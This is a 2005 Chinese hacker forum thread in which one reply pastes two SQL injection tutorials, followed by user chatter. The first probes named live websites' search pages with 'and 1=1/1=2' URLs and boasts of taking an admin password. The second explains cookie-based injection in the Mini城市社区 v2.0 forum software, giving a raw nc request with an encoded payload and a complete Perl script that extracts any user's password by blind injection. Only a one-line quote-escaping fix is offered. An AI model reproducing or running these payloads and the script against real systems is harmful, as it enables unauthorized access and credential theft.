|
作者: wngk [wngk] 论坛用户 | 登录 |
可以具体的讲一下吗? 也可以联系我QQ:997502 |
地主 发表时间: 05-01-25 15:46 |
回复: NetMySky [cg2327] | 登录 |
如何查找注入点!小弟有一些个技巧! 如果出现:服务器上URL出错之类的提示你可以尝试用一些注入工具来进行注入! 如果实在找不到注入点的话,你还可以构造注入点!相关文章你可以参考!如下文章: 最近sql inject 可是说是红遍了整个中国,不知道多少网站在sql inject 面前轰然倒下,其实 Sql inject 在国外技术已经很成熟了,而国内则是在近一两年内慢慢走向成熟。 在一个个惨痛的实例面前,脚本工作者不得不重视起来,最好的例子就是动网了。然而今天脚本是不是就很安全的呢。请看我对几个安全站点的测试结果。 结果是令人吃惊的, 影子鹰, 华夏, 黑客动画吧 都存在着这个站内搜索的漏洞。 请看一段常见的站内搜索写法。 例一: <form name="form4" method="post" action="search.asp"> <tr> <td height="25"> <div align=center> <input type="text" name="txtfind" size="18" onMouseOver="javascript:this.select();" value="请输入待查信息" style="border:#333333 1px solid;"> </div></td> </tr> <tr> <td> <div align=center><img height=5 src="../images/left_2.gif" width=186></div></td> </tr> <tr> <td height="30"> <div align=center> <select name="s1"> <option selected value='0'>所有类别</option><option value='1'>网站新闻</option> <option value='2'>进阶教程</option> <option value='3'>安全漏洞</option> <option value='5'>系统防范</option> <option value='6'>原创作品</option> </select> /* 上面的这段来自影子鹰安全网*/ 也许看了人说没什么的啊,我也是这么写的,这和sql inject 有什么关系啊。呵呵,,其实问题就出在这。 大家看,搜索类别的值是从客户端获得的,而且没有过滤。。呵呵,,聪明的你是否想到了什么。?? 我们可以构造一个url http://www.cnhacker.cn/search.asp?s1=1 得到的结果是: 页面返回正常,得到一大堆的搜索结果。 提交 http://www.cnhacker.cn/search.asp?s1=1 and 1=1 返回正常 提交 http://www.cnhacker.cn/search.asp?s1=1 and 1=2 没有搜索到任何相关文章 ,请重新搜索 哈哈。。可注。。。象这些安全站点密码一定n变态,还是用nb跑跑吧。。后面也证明了我的想法是正确的密码n变态,还好没手工猜。。呵呵。。拿到了管理员的密码,就是找不到后台郁闷。 例二: <a href='Soft_Class.asp?ClassID=11'>安全扫描</a></li><br><li><a href='Soft_Class.asp?ClassID=12'>嗅探监听</a></li><br><li><a href='Soft_Class.asp?ClassID=13'>分析检测</a></li><br><li><a href='Soft_Class.asp?ClassID=14'>字典文档</a></li><br><li><a href='Soft_Class.asp?ClassID=15'>加密破解</a></li><br><li><a href='Soft_Class.asp?ClassID=16'>木马类</a></li><br><li><a href='Soft_Class.asp?ClassID=17'>QQ类</a></li><br><li><a href='Soft_Class.asp?ClassID=18'>综合工具</a></li> 呵呵。。。以上代码来自黑客动画吧。。哈哈。。令人吃惊的直接就是classID= 根本就没有过滤。 分析完上面的代码,和其他的一些代码综合起来。。我们又可以构造这样的url http://www.hack58.com/Soft_Search.asp?Field=SoftName&ClassID=8 结果返回也是一定堆的搜索结果。。。 提交 http://www.hack58.com/Soft_Search.asp?Field=SoftName&ClassID=8 and 1=1 返回正常 提交 http://www.hack58.com/Soft_Search.asp?Field=SoftName&ClassID=8 and 1=2 产生错误的可能原因: HOO。。。漏洞有出来了。。 例三: 来个大家都知道的华夏黑客联盟。。呵呵。。前段时间还被黑了一次。。还是看代码吧。。听说华夏用的是动力的商业版。。 晕。。。华夏今天又上不去。。。反正原理是相同的。。不过这个我找了有点久,, 我把我构造好的url 给大家看 http://www.77169.org/soft1/search.asp?ss_name=winrar&sor=01 接下来要怎么发挥就看你们的了。。。。 总结:这个漏洞应该有一定的普遍性,,呵呵。。黑窝里安全站点都有这个问题,,别说是其他站点了。而黑客动画吧和华夏黑客好像都是 用动力的。。呵呵。。或许有些大虾早就发现了,,,小弟就在这献丑一下了,第一次写文章,有所差错在所难免。。欢迎和我联系。 栏 目 树 形 导 航 设为首页 加入收藏 联系站长 今天是: 2005年2月17日 星期四 | 首页 | 文章 | 下载 | 留言 | 论坛 | 竞技中心 | 邮箱 | FLASH | 客户中心 | | 文章中心首页 | 业界动态 | 黑客教程 | 网管频道 | 电脑基础 | 您现在的位置: 冷瑜阁 >> 文章 >> 黑客频道 >> 黑客入侵 >> 正文 用户登录 新用户注册 用Cookies做SQL injection 用Cookies做SQL injection 副标题: 作者:未知 文章来源:本站原创 点击数:8 更新时间:2005-1-22 冷瑜阁黑客世界-http://www.xxql.com文/mix http://www.spking.com/ 一般ASP程序出现SQL injection漏洞,一般都是通过从地址栏提交精心构建的地址,达到注入的目的。其实,在Cookies中同样可以实现SQL injection。这次漏洞涉及的是Mini城市社区v2.0 免费版本+SP1补丁。 Mini城市社区是http://xmcn.com/city开发的一套开放源代码的社区程序;由于多个文件存在变量未过滤特殊字符,可能导致用户非法控制社区,获取管理员在内的用户密码。由于问题文件较多,这里特选取一个简单的user_photo.asp来作解释。 user_photo.asp文件的作用是上传用户头像图片的,先看看文件开头是怎么样验证用户已登陆的: if Request.Cookies("NC")="" or Request.Cookies("NC")="访客" then Response.Write("对不起,您不是社区用户,请先注册!") Response.End end if 这里他简单的使用了Cookies中的NC变量的值,是否不为空或不为"访客"来判断用户。没有对数据库是否存在这个用户,以及没有密码认证是他犯下的第一个错误。接着往后看代码: set rs=server.createobject("adodb.recordset") set rs=conn.execute("Select * from HY Where NC='"&Request.Cookies("NC")&"'") 前两句话,就是他的第二个错误,没有对Request.Cookies("NC")得来的数据进行任何过滤就直接放入了SQL语句中,进行查询操作,通过构造Cookies就可以在这里进行SQL injection! ......省略部分代码 " width="200" height="150"> 在后面的代码中,通过先前从数据库查询得来的数据,调用user_photo_disp.asp来显示图片,如果首先的查询语句正常返回了,这里就可以正常显示(如图一);反之,由于没有相应的数据作参数,这里就会显示错误。利用这个现象,我们就能够判断出我们构造的SQL语句的正确与否。 图一 好了,简单的回顾刚才的三个分析步骤,也是任何一个SQL injection漏洞被确立的三个必要条件: 1.能够顺利的让ASP程序运行到有错误的语句上,而又不能破坏我们构建的数据。 2.能够控制SQL语句的构成,插入我们需要的SQL语句成分。 3.能够在客户端(浏览器)返回的数据中,找到SQL语句是否正确执行的判断标准(现象)。 完成了漏洞的分析,下面就是简单的实践过程了,由于Cookies存在的特殊性,一般都是用程序来进行暴力猜解的。但是,为了大家能够理解数据在服务器和浏览器之间是怎么样运作的,笔者简单的使用nc.exe(网络瑞士军刀)来演示一下过程,文后附带了笔者写的一个perl脚本,可以用来猜解任意账户密码,使用前先注册一个用户名为goo的账户。 Nc.exe的详细使用指南可以在网上搜索得到,笔者就不再多说了。在命令行下执行: nc -vv 127.0.0.1 80 <1.txt >1.htm ,其中127.0.0.1是运行了Mini城市社区的服务器IP地址,80是端口号,1.htm保存的是服务器返回结果,1.txt是我们构造的数据,其内容如下,注意最后一个分号后,有三个回车。 GET /mcity/main.asp HTTP/1.0 Host: 127.0.0.1 Cookie: NC=goo%27and%20exists(select%20id%20from%20HY%20where%20len(MM)%3D0%27and%20NC%3D%27admin%27)%20and%20%271; 我们将Cookies中的NC数据带入到SQL语句中来看看我们到底想执行什么: Select * from HY Where NC='goo'and exists(select id from HY where len(MM)=7 and NC='admin') and ‘1' 很显然,我们在试图探测用户名为admin的密码长度是否为7。大家可以发挥一下自己的思考能力,构造其他的SQL语句进行查询,在带入1.txt的格式中时,注意将=(等号)换成%3D,将'(单引号)换成%27,将空格换成%20。如果上面的语句是正确的,浏览器返回如图一,反之如图二。 图二 其实,笔者在简单测试Mini城市社区的官方网站时,发现其已经解决了大部分的SQL injection漏洞,只不过没有将补丁发放出来。任在使用该社区的朋友就只好先自己动手改改了,将所有使用Request函数的地方都用如下格式代替Replace(Request.Cookies("NC"),"'","''"),通过剔除'(单引号)来加大漏洞利用的难度,至于彻底解决还是等待官方的补丁为妙。 附录: #!/usr/bin/perl #Codz By Mix2003/8/15 #The Script can crack MINI system user's password $|=1; use Socket; use Getopt::Std; getopt('hpwu'); print "=====================================================\n"; print " The Script Codz By Mix \n"; print "=====================================================\n"; &usage unless ( defined($opt_h) && defined($opt_w) ); $host=$opt_h; $port=$opt_p||80; $way=$opt_w; $username=$opt_u; print "\nPlease wait...\n\n"; @dic=(0..20); for ($i=0;$i<@dic;$i++) { $cookies="NC=goo%27and%20exists(select%20id%20from%20HY%20where%20len(MM)%3D$dic[$i]%20and%20NC%3D%27$username%27)%20and%20%271"; $request = "GET $way HTTP/1.0\r\n". "Host: $host\r\n". "Cookie: $cookies;\n\n"; print "$dic[$i]."; @in = sendraw($request); @num=grep /图片可以是/, @in; $size=@num; if ($size > 0) { $len=$dic[$i]; print "\n\nSuccessful,The len of admin's password is $dic[$i] .\n\n"; last; } } for ($j=1;$j<=$len;$j++) { @dic11=(0..9); @dic12=(a..z); @dic13=(A..Z); @special=qw(` ~ ! @ # $ %25 ^ %26 * \( \) _ %2b = - { } [ ] : " ; < > ? | , . / \\); @special2=qw( ` ~ ! • # ¥ % ...... ― * ( ) ―― + - = { } [ ] : " " ; ' 《 》 ? │ , 。 / 、 〈 〉 '); @dic=(@dic11,@dic12,@dic13,@special,@special2); for ($i=0;$i<@dic;$i++) { $key=$pws.$dic[$i]; $cookies="NC=goo%27and%20exists%20(select%20id%20from%20HY%20where%20left(MM,$j)%3D%27$key%27%20and%20NC%3D%27$username%27)%20and%20%271"; $request = "GET $way HTTP/1.0\r\n". "Host: $host\r\n". "Cookie: $cookies;\n\n"; print "$dic[$i]."; @in = sendraw($request); @num=grep /图片可以是/, @in; $size=@num; if ($size > 0) { $th=$j.th; print "\nSuccessful,The $th word of the password is $dic[$i] \n"; $pws=$pws.$dic[$i]; last; } } } $pws=~s/\%2b/\+/ig; $pws=~s/\%25/\%/ig; $pws=~s/\%26/\&/ig; print "\n\nSuccessful,The $username's password is $pws .\n\n"; print "Now , you can use \nusername: $username\npassword: $pws\nto login !\n\n"; sub usage { print qq~ Usage: $0 -h [-p ] -w -h =hostname you want to crack -p =port,80 default -w =the path of the weak file and the file's path -u =you want to crack user's name Eg: $0 -h www.target.com -p 80 -w /mcity/user_photo.asp -u admin ~; exit; } #thanx rfp's sendraw sub sendraw { my ($request) = @_; my $target; $target = inet_aton($host) || die("inet_aton problems"); socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,$port,$target)){ select(S); $| = 1; print $request; my @in = ; select(STDOUT); close(S); return @in; } else { die("Can't connect...\n"); } |
B1层 发表时间: 05-01-25 16:10 |
回复: wngk [wngk] 论坛用户 | 登录 |
晕`老大``你在那里找的啊。。。 有些地方我看不明白```` |
B2层 发表时间: 05-01-25 23:37 |
回复: lhh2003 [lhh2003] 论坛用户 | 登录 |
哪些不明白啊?姐姐教你,乖了,嘻嘻 |
B3层 发表时间: 05-01-26 00:15 |
回复: listenwind [listenwind] 论坛用户 | 登录 |
俺也不明白! |
B4层 发表时间: 05-01-26 00:29 |
回复: qmdjzgqt [qmdjzgqt] 论坛用户 | 登录 |
晕 看着密密麻麻的乱码,头疼!!! |
B5层 发表时间: 05-01-26 08:15 |
回复: hackerjune [hackerjune] 论坛用户 | 登录 |
讨厌 你就不知道自己来说点啊 飞雪还姐姐里` ````````````!~ |
B6层 发表时间: 05-01-26 10:21 |
回复: lhh2003 [lhh2003] 论坛用户 | 登录 |
各位乖了,不明白的说,只要乖乖的,姐姐都会教你们的,嘻嘻 |
B7层 发表时间: 05-01-26 11:24 |
回复: hackerjune [hackerjune] 论坛用户 | 登录 |
恶心 |
B8层 发表时间: 05-01-26 11:49 |
回复: lhh2003 [lhh2003] 论坛用户 | 登录 |
楼上的,你想怎么样啊!!!你好来,哼。。。。。。。 [此贴被 失落的雪(lhh2003) 在 01月26日15时06分 编辑过] |
B9层 发表时间: 05-01-26 12:12 |
回复: lhh2003 [lhh2003] 论坛用户 | 登录 |
我还帮你处理你的问题,好吧! 拖进20cn黑名单(柳霖明楠),杜绝此人发送信息的所有回复,点击ok――显示ok,(操作明智) |
B10层 发表时间: 05-01-26 12:21 |
回复: wngk [wngk] 论坛用户 | 登录 |
失落的雪``` 我晕忽忽。。。。。我的Q上有你。。。。但是你N久没有上线啊。 |
B11层 发表时间: 05-01-26 14:41 |
回复: lhh2003 [lhh2003] 论坛用户 | 登录 |
我是对柳霖明楠说的啊,楼主怎么了啊?嘻嘻,不好意思 上面打错了,我已改了 [此贴被 失落的雪(lhh2003) 在 01月26日16时38分 编辑过] |
B12层 发表时间: 05-01-26 15:07 |
回复: listenwind [listenwind] 论坛用户 | 登录 |
|
B13层 发表时间: 05-01-26 16:04 |
回复: qkong [qkong] 论坛用户 | 登录 |
虽然是别的论坛抄袭的。。但……还有一点点看头吧。。 本人对编程类知道的有限。。所以阅读也有一定的困难。。 好象是SQL的。。 还有啊。。这里不是吵架的地方。。呵呵。。。 |
B14层 发表时间: 05-01-27 22:26 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号